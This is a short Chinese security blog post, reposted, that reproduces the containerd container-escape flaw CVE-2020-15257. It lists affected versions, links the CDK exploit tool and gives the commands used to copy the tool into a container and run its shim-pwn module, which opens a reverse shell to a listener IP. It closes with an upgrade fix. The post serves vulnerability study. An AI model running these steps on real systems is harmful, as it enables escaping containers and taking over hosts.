CVE-2020-15257:Containerd虚拟环境逃逸复现

白昼怎懂夜的黑 提交于 2021-01-11 11:12:34

上方蓝色字体关注我们,一起学安全!
作者:水木逸轩 @Timeline Sec
本文字数:539
阅读时长:2~3min
声明:请勿用作违法用途,否则后果自负


0x01 简介


Containerd 是一个工业级标准的容器运行时,它强调简单性、健壮性和可移植性。Containerd 可以在宿主机中管理完整的容器生命周期:容器镜像的传输和存储、容器的执行和管理、存储和网络等。


0x02 漏洞概述


在版本1.3.9和1.4.3之前的容器中,容器填充的API不正确地暴露给主机网络容器。填充程序的API套接字的访问控制验证了连接过程的有效UID为0,但没有以其他方式限制对抽象Unix域套接字的访问。这将允许在与填充程序相同的网络名称空间中运行的恶意容器(有效UID为0,但特权降低)导致新进程以提升的特权运行。


0x03 影响版本


containerd < 1.4.3

containerd < 1.3.9


0x04 环境搭建


Docker版本查看:



符合要求

查看docker宿主机内核版本:



下载poc

https://github.com/Xyntax/CDK/releases/tag/0.1.6


将与内核类型对应的poc复制到虚拟机的容器中




docker cp cdk_linux_386 容器ID:/tmp




docker ps查看当前运行的镜像:



进入镜像,poc已复制到镜像中:



0x05 漏洞复现


执行poc,到监听侧进行查看

./cdk_linux_386 run shim-pwn 192.168.254.132 6666




反弹成功


0x06 修复方式



升级 containerd 至最新版本。


参考链接:

https://blog.csdn.net/weixin_45728976/article/details/110452543

https://blog.csdn.net/weixin_45728976/article/details/110694414

https://mp.weixin.qq.com/s/4VPle19F2gKmhrMrgYKroQ




阅读原文看更多复现文章
Timeline Sec 团队
安全路上,与你并肩前行












本文分享自微信公众号 - Timeline Sec(TimelineSec)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!